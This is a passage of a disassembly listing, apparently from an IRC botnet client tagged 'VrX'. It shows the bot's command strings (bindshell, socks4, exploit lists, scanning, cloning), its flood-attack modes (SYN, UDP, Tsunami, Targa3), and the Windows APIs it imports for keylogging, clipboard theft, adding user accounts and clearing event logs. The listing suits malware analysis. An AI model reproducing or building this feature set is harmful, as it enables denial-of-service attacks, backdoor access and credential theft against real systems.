234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+18DAo dword_42C574 dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ; DATA XREF: sub_401ACD+18D5o aCmdstop db 'cmdstop',0 ; DATA XREF: sub_401ACD+18BCo aOcmd db 'ocmd',0 ; DATA XREF: sub_401ACD+18A7o align 4 aOpencmd db 'opencmd',0 ; DATA XREF: sub_401ACD+1892o aDll db 'dll',0 ; DATA XREF: sub_401ACD+187Do aTestdlls db 'testdlls',0 ; DATA XREF: sub_401ACD+1868o align 4 aDrv db 'drv',0 ; DATA XREF: sub_401ACD+1853o aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_401ACD+183Eo align 4 aUp db 'up',0 ; DATA XREF: sub_401ACD+1829o align 10h aUptime db 'uptime',0 ; DATA XREF: sub_401ACD+1814o align 4 aPs db 'ps',0 ; DATA XREF: sub_401ACD+17FFo align 4 aProcs db 'procs',0 ; DATA XREF: sub_401ACD+17EAo align 4 aKosomaky4d db 'KOSOMAKY4D',0 ; DATA XREF: sub_401ACD+17C0o ; sub_401ACD+17D5o align 10h aSi db 'si',0 ; DATA XREF: sub_401ACD+17ABo align 4 aSysinfo db 'sysinfo',0 ; DATA XREF: sub_401ACD+1796o aNi db 'ni',0 ; DATA XREF: sub_401ACD+1781o align 10h aNetinfo db 'netinfo',0 ; DATA XREF: sub_401ACD+176Co aClg db 'clg',0 ; DATA XREF: sub_401ACD+1757o aClearlog db 'clearlog',0 ; DATA XREF: sub_401ACD+1742o align 4 aLg db 'lg',0 ; DATA XREF: sub_401ACD+172Do align 4 aLog db 'log',0 ; DATA XREF: sub_401ACD+1718o aAl db 'al',0 ; DATA XREF: sub_401ACD+1703o align 4 aAliases db 'aliases',0 ; DATA XREF: sub_401ACD+16EEo aT: ; DATA XREF: sub_401ACD+16D9o ; ___:00438AFCo unicode 0, <t>,0 aThreads db 'threads',0 ; DATA XREF: sub_401ACD+16C4o unk_42C628 db 3 ; DATA XREF: sub_401ACD+1690o a81VrxFailedToR db '8,1-VrX- Failed to reboot system.',0 align 4 unk_42C64C db 3 ; DATA XREF: sub_401ACD+1689o a81VrxRebooting db '8,1-VrX- Rebooting system.',0 aR3start db 'r3start',0 ; DATA XREF: sub_401ACD+1672o aI: ; DATA XREF: sub_401ACD+165Do unicode 0, <i>,0 aId db 'id',0 ; DATA XREF: sub_401ACD+1648o align 4 aS_0: ; DATA XREF: sub_401ACD+1633o ; ___:00438B4Co unicode 0, <s>,0 aStatus db 'status',0 ; DATA XREF: sub_401ACD+161Eo align 4 aQ: ; DATA XREF: sub_401ACD+1609o ; ___:off_438768o ... unicode 0, <q>,0 aQuit_0 db 'quit',0 ; DATA XREF: sub_401ACD+15F4o align 10h aDc db 'dc',0 ; DATA XREF: sub_401ACD+15DFo align 4 aDisconnect db 'disconnect',0 ; DATA XREF: sub_401ACD+15CAo align 10h aR: ; DATA XREF: sub_401ACD+15B5o ; sub_401ACD+3D8Eo ... unicode 0, <r>,0 aReconnect db 'reconnect',0 ; DATA XREF: sub_401ACD+15A0o align 10h aExplist db 'explist',0 ; DATA XREF: sub_401ACD+158Bo aExploitlist db 'exploitlist',0 ; DATA XREF: sub_401ACD+1576o aCbstats db 'cbstats',0 ; DATA XREF: sub_401ACD+1561o aConnectbacksta db 'connectbackstats',0 ; DATA XREF: sub_401ACD+154Co align 10h aTrstats db 'trstats',0 ; DATA XREF: sub_401ACD+1537o aTransferstats db 'transferstats',0 ; DATA XREF: sub_401ACD+1522o align 4 aStats db 'stats',0 ; DATA XREF: sub_401ACD+150Do align 10h aScanstats db 'scanstats',0 ; DATA XREF: sub_401ACD+14F8o align 4 dword_42C70C dd 312C3803h, 4043532Dh, 2D4Eh ; DATA XREF: sub_401ACD+14EDo aScan_0 db 'Scan',0 ; DATA XREF: sub_401ACD+14E8o align 10h aScanstop db 'scanstop',0 ; DATA XREF: sub_401ACD+14CFo align 4 dword_42C72C dd 234032Dh, 75636573h, 3026572h, 2Dh ; DATA XREF: sub_401ACD+14C4o aSecure_0 db 'Secure',0 ; DATA XREF: sub_401ACD+14BFo align 4 aSecurestop db 'securestop',0 ; DATA XREF: sub_401ACD+14A6o align 10h dword_42C750 dd 234032Dh, 6E6F6C63h, 3027365h, 2Dh ; DATA XREF: sub_401ACD+149Bo aClone db 'Clone',0 ; DATA XREF: sub_401ACD+1496o align 4 aClonestop db 'clonestop',0 ; DATA XREF: sub_401ACD+147Do align 4 aPsstop db 'psstop',0 ; DATA XREF: sub_401ACD+1468o align 4 aProcsstop db 'procsstop',0 ; DATA XREF: sub_401ACD+1453o align 4 aFfstop db 'ffstop',0 ; DATA XREF: sub_401ACD+143Eo align 10h aFindfilestop db 'findfilestop',0 ; DATA XREF: sub_401ACD+1429o align 10h dword_42C7A0 dd 234032Dh, 70746674h, 2D030264h, 0 ; DATA XREF: sub_401ACD+141Eo aTftpstop db 'tftpstop',0 ; DATA XREF: sub_401ACD+1400o align 4 aPingstop db 'pingstop',0 ; DATA XREF: sub_401ACD+13D7o align 4 aUdpstop db 'udpstop',0 ; DATA XREF: sub_401ACD+13AEo aWisdomstop db 'wisdomstop',0 ; DATA XREF: sub_401ACD+1385o align 4 aTsunamistop db 'tsunamistop',0 ; DATA XREF: sub_401ACD+135Co unk_42C7E8 db 2Dh ; - ; DATA XREF: sub_401ACD+1342o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aAllPacketingAc db 'All packeting activity has been halted.',0 dword_42C81C dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; DATA XREF: sub_401ACD+1307o ; sub_401ACD+13A3o dword_42C82C dd 64736957h, 61206D6Fh, 63617474h, 6Bh ; DATA XREF: sub_401ACD+1302o ; sub_401ACD+139Eo dword_42C83C dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; DATA XREF: sub_401ACD+12E9o ; sub_401ACD+137Ao dword_42C84C dd 6E757354h, 20696D61h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+12E4o ; sub_401ACD+1375o dword_42C85C dd 234032Dh, 676E6970h, 2D0302h ; DATA XREF: sub_401ACD+1289o ; sub_401ACD+13F5o dword_42C868 dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1284o ; sub_401ACD+13F0o dword_42C874 dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+126Bo ; sub_401ACD+13CCo dword_42C880 dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1266o ; sub_401ACD+13C7o aPacketstop db 'packetstop',0 ; DATA XREF: sub_401ACD+1206o align 4 dword_42C898 dd 234032Dh, 6B6E6F77h, 2D0302h ; DATA XREF: sub_401ACD+11FBo ; sub_401ACD+12C8o dword_42C8A4 dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+11F6o ; sub_401ACD+12C3o aWonkstop db 'wonkstop',0 ; DATA XREF: sub_401ACD+11DDo align 4 dword_42C8BC dd 234032Dh, 67726174h, 3023361h, 2Dh ; DATA XREF: sub_401ACD+11D2o ; sub_401ACD+12AAo dword_42C8CC dd 67726154h, 66203361h, 646F6F6Ch, 0 ; DATA XREF: sub_401ACD+11CDo ; sub_401ACD+12A5o aTarga3stop db 'targa3stop',0 ; DATA XREF: sub_401ACD+11B4o align 4 dword_42C8E8 dd 234032Dh, 73796B73h, 3026E79h, 2Dh ; DATA XREF: sub_401ACD+11A9o ; sub_401ACD+1328o dword_42C8F8 dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ; DATA XREF: sub_401ACD+11A4o ; sub_401ACD+1323o aSkysynstop db 'skysynstop',0 ; DATA XREF: sub_401ACD+118Bo align 4 dword_42C914 dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+1180o ; sub_401ACD+124Ao dword_42C920 dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+117Bo ; sub_401ACD+1245o aSynstop db 'synstop',0 ; DATA XREF: sub_401ACD+1162o dword_42C934 dd 234032Dh, 736F6464h, 2D0302h ; DATA XREF: sub_401ACD+1157o ; sub_401ACD+122Co dword_42C940 dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1152o ; sub_401ACD+1227o dword_42C94C dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401ACD+1139o dword_42C958 dd 234032Dh, 69646572h, 74636572h, 2D0302h ; DATA XREF: sub_401ACD+112Eo dword_42C968 dd 20504354h, 69646572h, 74636572h, 0 ; DATA XREF: sub_401ACD+1129o aRedirectstop db 'redirectstop',0 ; DATA XREF: sub_401ACD+1110o align 4 dword_42C988 dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1105o dword_42C994 dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF: sub_401ACD+1100o aLogstop db 'logstop',0 ; DATA XREF: sub_401ACD+10E7o dword_42C9A8 dd 234032Dh, 70747468h, 2D030264h, 0 ; DATA XREF: sub_401ACD+10DCo aHttpstop db 'httpstop',0 ; DATA XREF: sub_401ACD+10BEo align 4 dword_42C9C4 dd 234032Dh, 676F6C72h, 2646E69h, 2D03h ; DATA XREF: sub_401ACD+10B3o aRloginstop db 'rloginstop',0 ; DATA XREF: sub_401ACD+1095o align 10h dword_42C9E0 dd 234032Dh, 6B636F73h, 3023473h, 2Dh ; DATA XREF: sub_401ACD+108Ao aSocks4stop db 'socks4stop',0 ; DATA XREF: sub_401ACD+106Co align 4 aS4 db 's4',0 ; DATA XREF: sub_401ACD+1057o align 10h aSocks4 db 'socks4',0 ; DATA XREF: sub_401ACD+1042o align 4 dword_42CA08 dd 234032Dh, 646E6962h, 6C656873h, 2D03026Ch, 0 ; DATA XREF: sub_401ACD+1037o aServer_0 db 'Server',0 ; DATA XREF: sub_401ACD+1032o ; sub_401ACD+1085o ... align 4 aBindshellstop db 'bindshellstop',0 ; DATA XREF: sub_401ACD+1019o align 4 aBd db 'bd',0 ; DATA XREF: sub_401ACD+1004o align 4 aBindshell db 'bindshell',0 ; DATA XREF: sub_401ACD+FEFo align 4 aUnsec db 'unsec',0 ; DATA XREF: sub_401ACD+FDAo align 4 aUnsecure db 'unsecure',0 ; DATA XREF: sub_401ACD+FC5o align 4 aSec db 'sec',0 ; DATA XREF: sub_401ACD+FB0o ; sub_401ACD+2D26o aSecure db 'secure',0 ; DATA XREF: sub_401ACD+F9Bo ; sub_401ACD+2D15o align 4 aSt db 'st',0 ; DATA XREF: sub_401ACD+F86o align 4 aSpeedtest db 'speedtest',0 ; DATA XREF: sub_401ACD+F71o align 4 aRz db 'rz',0 ; DATA XREF: sub_401ACD+F5Co align 4 aRulez db 'rulez',0 ; DATA XREF: sub_401ACD+F47o align 10h aVer db 'ver',0 ; DATA XREF: sub_401ACD+F32o aVersion db 'version',0 ; DATA XREF: sub_401ACD+F1Do aLo db 'lo',0 ; DATA XREF: sub_401ACD+F08o align 10h aLogout db 'logout',0 ; DATA XREF: sub_401ACD+EF3o align 4 aDi3 db 'di3',0 ; DATA XREF: sub_401ACD+EC9o ; sub_401ACD+EDEo aRn db 'rn',0 ; DATA XREF: sub_401ACD+EB4o align 10h aRndnick db 'rndnick',0 ; DATA XREF: sub_401ACD+E9Co a63 db '63',0 ; DATA XREF: sub_401ACD+D69o align 4 asc_42CAAC: ; DATA XREF: sub_401ACD+D41o unicode 0, <)>,0 aChr db '$chr(',0 ; DATA XREF: sub_401ACD+D04o align 4 aServer_1 db '$server',0 ; DATA XREF: sub_401ACD+CF9o aRndnick_0 db '$rndnick',0 ; DATA XREF: sub_401ACD+CE8o align 4 aChan db '$chan',0 ; DATA XREF: sub_401ACD+CCCo align 4 aUser_1 db '$user',0 ; DATA XREF: sub_401ACD+CBBo align 4 aMe db '$me',0 ; DATA XREF: sub_401ACD+CA9o aD db '$%d',0 ; DATA XREF: sub_401ACD+C3Bo aD_0 db '$%d-',0 ; DATA XREF: sub_401ACD+B77o align 4 aK: ; DATA XREF: sub_401ACD+A9Fo ; sub_401ACD+3DBCo unicode 0, <k>,0 aC: ; DATA XREF: sub_401ACD+A87o ; sub_401ACD+4AA4o unicode 0, <c>,0 unk_42CAF4 db 2Dh ; - ; DATA XREF: sub_401ACD+A64o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFailedByUn db '- Chat failed by unauthorized user: %s.',0 align 4 unk_42CB28 db 2Dh ; - ; DATA XREF: sub_401ACD+A53o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatAlreadyAct db '- Chat already active with user: %s.',0 align 4 unk_42CB58 db 2Dh ; - ; DATA XREF: sub_401ACD+A42o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSta_28 db '- Failed to start chat thread, error: <%d>.',0 align 10h unk_42CB90 db 2Dh ; - ; DATA XREF: sub_401ACD+9D3o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFromUserS_ db '- Chat from user: %s.',0 align 10h aChat db 'CHAT',0 ; DATA XREF: sub_401ACD+93Co align 4 unk_42CBB8 db 2Dh ; - ; DATA XREF: sub_401ACD+91Co db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFa db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0 align 4 unk_42CBFC db 2Dh ; - ; DATA XREF: sub_401ACD+904o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSta_29 db '- Failed to start transfer thread, error: <%d>.',0 align 4 dword_42CC38 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h ; DATA XREF: sub_401ACD+8F3o dd 0A0Dh dword_42CC50 dd 4E495001h, 47h ; DATA XREF: sub_401ACD+8BFo dword_42CC58 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h ; DATA XREF: sub_401ACD+8B4o dd 0D017325h, 0Ah dword_42CC74 dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_401ACD+883o dword_42CC80 dd 23h ; DATA XREF: sub_401ACD+7FAo ; sub_40CD43+1Bo unk_42CC84 db 2Dh ; - ; DATA XREF: sub_401ACD+769o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFr db '- Receive file: ',27h,'%s',27h,' from user: %s.',0 align 4 aS_1 db '%s',0 ; DATA XREF: sub_401ACD+6EAo ; sub_401ACD+979o ... align 4 aSend_0 db 'SEND',0 ; DATA XREF: sub_401ACD+6C3o align 10h dword_42CCC0 dd 43434401h, 0 ; DATA XREF: sub_401ACD+6A5o dword_42CCC8 dd 323333h ; DATA XREF: sub_401ACD+62Fo ; sub_401ACD+AC1o ... aNotice db 'NOTICE',0 ; DATA XREF: sub_401ACD+60Do ; sub_409869+Fo align 4 aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_401ACD+601o ; sub_409869+16o unk_42CCDC db 3 ; DATA XREF: sub_401ACD+5B0o a81VrxUserSLo_0 db '8,1-VrX- User: %s logged out.',0 align 4 unk_42CCFC db 3 ; DATA XREF: sub_401ACD+590o a81VrxJoinedC_0 db '8,1-VrX- Joined channel: %s.',0 align 4 a353 db '353',0 ; DATA XREF: sub_401ACD+55Fo aQuit db 'QUIT',0 ; DATA XREF: sub_401ACD+522o align 4 aPart db 'PART',0 ; DATA XREF: sub_401ACD+511o ; sub_401ACD+5CDo align 10h aSS db ':%s%s',0 ; DATA XREF: sub_401ACD+4ECo align 4 aNick db 'NICK',0 ; DATA XREF: sub_401ACD+3CEo align 10h aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o ; sub_401ACD+5F1o unk_42CD50 db 3 ; DATA XREF: sub_401ACD+355o ; sub_401ACD+2E79o ... a81VrxUserSLo_1 db '8,1-VrX- User %s logged out.',0 align 10h aKick db 'KICK',0 ; DATA XREF: sub_401ACD+2E4o align 4 aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+28Do ; sub_401ACD+7A88o ... align 4 a433 db '433',0 ; DATA XREF: sub_401ACD+262o ; sub_417B76:loc_417BDEo a@: ; DATA XREF: sub_401ACD+23Ao unicode 0, <@>,0 a302 db '302',0 ; DATA XREF: sub_401ACD+22Ao a005 db '005',0 ; DATA XREF: sub_401ACD+215o a001 db '001',0 ; DATA XREF: sub_401ACD+200o aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o ; sub_401ACD+3BBo ... align 4 aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C3o align 4 aPing db 'PING',0 ; DATA XREF: sub_401ACD+1A9o ; sub_417B76+50o align 4 asc_42CDBC: ; DATA XREF: sub_401ACD+19Ao ; sub_401ACD+7B9Do unicode 0, <!>,0 asc_42CDC0: ; DATA XREF: sub_401ACD+A8o ; sub_401ACD+E41o ... unicode 0, < >,0 asc_42CDC4 db ' :',0 ; DATA XREF: sub_401ACD+86o ; sub_401ACD:loc_4025E6o align 4 aSSS_0 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409869+5Do aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409909+C7Fo align 10h aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409909+C77o aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_409909:loc_40A573o align 4 aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_409909+C15o align 4 aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_409909+C08o align 4 aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_409909+BFBo align 4 aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_409909+BEEo align 4 aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_409909+BE1o align 4 aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_409909+BD9o align 4 aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_409909:loc_40A4D5o align 4 aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_409909+B97o align 4 aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_409909+B8Fo align 4 aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_409909:loc_40A48Bo aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409909+B3Do align 4 aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409909+B30o align 4 aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_409909+B23o aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_409909+B1Bo aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_409909:loc_40A417o aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409909+AD9o align 4 aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_409909+AD1o align 4 aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_409909:loc_40A3CDo align 4 aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409909+A8Fo align 4 aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409909+A87o align 10h aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_409909:loc_40A383o align 4 aNetwkstagetinf db 'NetWkstaGetInfo',0 ; DATA XREF: sub_409909+9F9o aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_409909+9ECo ; sub_418AF1+65o align 4 aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_409909+9DFo align 4 aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_409909+9D2o aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_409909+9C5o align 4 aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_409909+9B8o align 4 aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_409909+9ABo align 4 aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_409909+99Eo align 4 aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409909+991o align 10h aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_409909+984o align 10h aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_409909+977o aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_409909+96Fo aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_409909:loc_40A267o ; sub_418AF1+58o align 4 aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_409909+921o align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_409909+914o aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_409909+90Co align 4 aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_409909:loc_40A208o align 4 aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409909+8D2o align 10h aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_409909+860o aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_409909+853o align 4 aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_409909+846o align 4 aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_409909+839o align 10h aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_409909+82Co align 10h aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_409909+81Fo align 4 aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_409909+812o align 4 aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_409909+805o align 4 aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409909+7F8o aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_409909+7F0o align 4 aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_409909:loc_40A0E8o aClosesocket db 'closesocket',0 ; DATA XREF: sub_409909+6A6o aGetpeername db 'getpeername',0 ; DATA XREF: sub_409909+699o aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_409909+68Co align 4 aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_409909+67Fo align 4 aGethostname db 'gethostname',0 ; DATA XREF: sub_409909+672o aGetsockname db 'getsockname',0 ; DATA XREF: sub_409909+665o aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_409909+658o align 4 aAccept db 'accept',0 ; DATA XREF: sub_409909+64Bo align 4 aListen db 'listen',0 ; DATA XREF: sub_409909+63Eo align 4 aSelect db 'select',0 ; DATA XREF: sub_409909+631o align 4 aBind db 'bind',0 ; DATA XREF: sub_409909+629o align 4 aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_409909+617o align 4 aRecv db 'recv',0 ; DATA XREF: sub_409909+60Ao align 10h aSendto db 'sendto',0 ; DATA XREF: sub_409909+5FDo align 4 aNtohl db 'ntohl',0 ; DATA XREF: sub_409909+5E3o align 10h aNtohs db 'ntohs',0 ; DATA XREF: sub_409909+5D6o align 4 aHtonl db 'htonl',0 ; DATA XREF: sub_409909+5C9o align 10h aHtons db 'htons',0 ; DATA XREF: sub_409909+5BCo align 4 aInet_addr db 'inet_addr',0 ; DATA XREF: sub_409909+5AFo align 4 aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_409909+5A2o align 10h aConnect db 'connect',0 ; DATA XREF: sub_409909+595o aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_409909+588o aSocket db 'socket',0 ; DATA XREF: sub_409909+57Bo align 4 aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_409909+56Eo align 4 aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_409909+561o aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_409909+554o align 4 a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_409909+547o align 4 aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_409909+53Ao align 4 aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_409909+52Do align 10h aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_409909+525o align 4 aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_409909+514o align 4 aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_409909+4A1o align 4 aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_409909+494o align 4 aBitblt db 'BitBlt',0 ; DATA XREF: sub_409909+487o align 4 aSelectobject db 'SelectObject',0 ; DATA XREF: sub_409909+47Ao align 4 aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_409909+46Do align 10h aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_409909+460o align 10h aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_409909+453o align 4 aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_409909+446o align 4 aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_409909+43Eo align 4 aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_409909:loc_409D36o align 10h aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_409909:loc_409D0Eo align 10h aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409909+3ADo align 4 aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_409909+3A0o aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_409909+393o align 4 aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_409909+386o align 4 aControlservice db 'ControlService',0 ; DATA XREF: sub_409909+379o align 4 aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_409909+36Co align 4 aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_409909+35Fo align 4 aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_409909:loc_409C60o align 4 aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409909+327o align 4 aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409909+31Ao align 4 aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_409909:loc_409C1Bo align 4 aCleareventloga db 'ClearEventLogA',0 ; DATA XREF: sub_409909+2C6o align 4 aOpeneventloga db 'OpenEventLogA',0 ; DATA XREF: sub_409909+2B9o align 4 aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_409909+2ACo aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_409909+29Fo aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_409909+292o align 4 aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_409909+285o align 4 aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_409909+278o aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_409909+270o align 4 aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_409909:loc_409B68o align 4 aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_409909+21Ao aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_409909+20Do align 4 aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_409909+200o aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_409909:loc_409B01o align 4 aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_409909+1A0o align 4 aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_409909+193o align 4 aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_409909+186o align 10h aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_409909+179o align 10h aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_409909+16Co align 10h aIswindow db 'IsWindow',0 ; DATA XREF: sub_409909+15Fo align 4 aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_409909+152o aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_409909+14Ao align 4 aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_409909:loc_409A3Eo ; sub_425029+Do align 4 aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_409909:loc_409A11o align 4 aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409909+A0o align 4 aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409909+93o aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_409909+86o aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_409909+79o align 4 aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409909+6Co aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409909+5Fo aModule32first db 'Module32First',0 ; DATA XREF: sub_409909+52o align 4 aProcess32next db 'Process32Next',0 ; DATA XREF: sub_409909+45o align 4 aProcess32first db 'Process32First',0 ; DATA XREF: sub_409909+38o align 4 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409909+2Bo align 4 aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_409909+23o align 4 aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_409909+Ao align 4 unk_42D6C4 db 2Dh ; - ; DATA XREF: sub_40A5C5+2F2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aDllTestComplet db 'DLL test complete.',0 align 4 aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+2CCo align 10h aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 